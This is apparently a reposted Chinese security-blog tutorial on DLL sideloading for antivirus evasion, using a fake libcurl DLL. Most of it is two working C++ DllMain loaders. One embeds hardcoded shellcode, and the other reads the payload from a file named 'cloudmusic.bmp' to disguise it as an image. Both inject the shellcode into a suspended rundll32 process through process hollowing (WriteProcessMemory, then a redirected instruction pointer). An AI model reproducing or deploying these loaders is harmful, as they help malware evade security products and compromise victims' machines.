寻找合适文件

0x02 dll函数模仿

分析生成

shellcode加载

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "framework.h"
#include "libcurl.h"
#include "windows.h"
BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
    {
        uunsigned char hexData[] = "\xe8\x00\x00\x00\x00\x58\x5f\x05\x5b\x03\x00\x00\x68\x8c\x00\x00\x00\x50\x57\x55\x8b\xec\x83\xec\x68\x53\x56\x57\x6a\x22\x68\x64\xfc\xfb\x3c\xe8\x30\x02\x00\x00\x6a\x22\x8b";
		char* v7A = (char*)VirtualAlloc(0, _countof(hexData), 0x3000u, 0x40u);
		memcpy((void*)v7A, hexData, _countof(hexData));
		struct _PROCESS_INFORMATION ProcessInformation;
		struct _STARTUPINFOA StartupInfo;
		void* v24;
		CONTEXT Context;
		DWORD DwWrite = 0;
		memset(&StartupInfo, 0, sizeof(StartupInfo));
		StartupInfo.cb = 68;
		BOOL result = CreateProcessA(0, (LPSTR)"rundll32.exe", 0, 0, 0, 0x44u, 0, 0, &StartupInfo, &ProcessInformation);
		if (result)
		{
			Context.ContextFlags = 65539;
			GetThreadContext(ProcessInformation.hThread, &Context);
			v24 = VirtualAllocEx(ProcessInformation.hProcess, 0, _countof(hexData), 0x1000u, 0x40u);
			WriteProcessMemory(ProcessInformation.hProcess, v24, v7A, _countof(hexData), &DwWrite);
			Context.Eip = (DWORD)v24;
			SetThreadContext(ProcessInformation.hThread, &Context);
			ResumeThread(ProcessInformation.hThread);
			CloseHandle(ProcessInformation.hThread);
			result = CloseHandle(ProcessInformation.hProcess);
		}
		TerminateProcess(GetCurrentProcess(), 0);
    };
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "framework.h"
#include "windows.h"
#include "libcurl.h"
#include <stdlib.h>
#include <stdio.h>
BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
    {
        FILE* fp;  // 定义流式文件操作变量fp，FILE结构体在stdio.h里面有定义
        size_t size;  // 定义文件字节数变量size
        unsigned char* buffer;  // 定义缓存指针变量
        fp = fopen("cloudmusic.bmp", "rb");
        // fseek()负号前移，正号后移
        fseek(fp, 0, SEEK_END);          // 文件指针指向文件末尾
        // ftell()返回给定流 stream 的当前文件位置
        size = ftell(fp);                // size值为文件大小
        fseek(fp, 0, SEEK_SET);          // 文件指针指向文件开头
        buffer = (unsigned char*)malloc(size);    // 动态申请图片大小的内存空间（数组指针）
        fread(buffer, size, 1, fp);  // 从fp读取和显示1个size大小的数据
        char* v7A = (char*)VirtualAlloc(0, size, 0x3000u, 0x40u);
        memcpy((void*)v7A, buffer, size);
        struct _PROCESS_INFORMATION ProcessInformation;
        struct _STARTUPINFOA StartupInfo;
        void* v24;
        CONTEXT Context;
        DWORD DwWrite = 0;
        memset(&StartupInfo, 0, sizeof(StartupInfo));
        StartupInfo.cb = 68;
        BOOL result = CreateProcessA(0, (LPSTR)"rundll32.exe", 0, 0, 0, 0x44u, 0, 0, &StartupInfo, &ProcessInformation);
        if (result)
        {
            Context.ContextFlags = 65539;
            GetThreadContext(ProcessInformation.hThread, &Context);
            v24 = VirtualAllocEx(ProcessInformation.hProcess, 0, size, 0x1000u, 0x40u);
            WriteProcessMemory(ProcessInformation.hProcess, v24, v7A, size, &DwWrite);
            Context.Eip = (DWORD)v24;
            SetThreadContext(ProcessInformation.hThread, &Context);
            ResumeThread(ProcessInformation.hThread);
            CloseHandle(ProcessInformation.hThread);
            result = CloseHandle(ProcessInformation.hProcess);
        }
        TerminateProcess(GetCurrentProcess(), 0);
    };
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

免杀效果

作者：s1mple（freebuf） 原文地址：https://www.freebuf.com/articles/system/333690.htm

如有侵权，请联系删除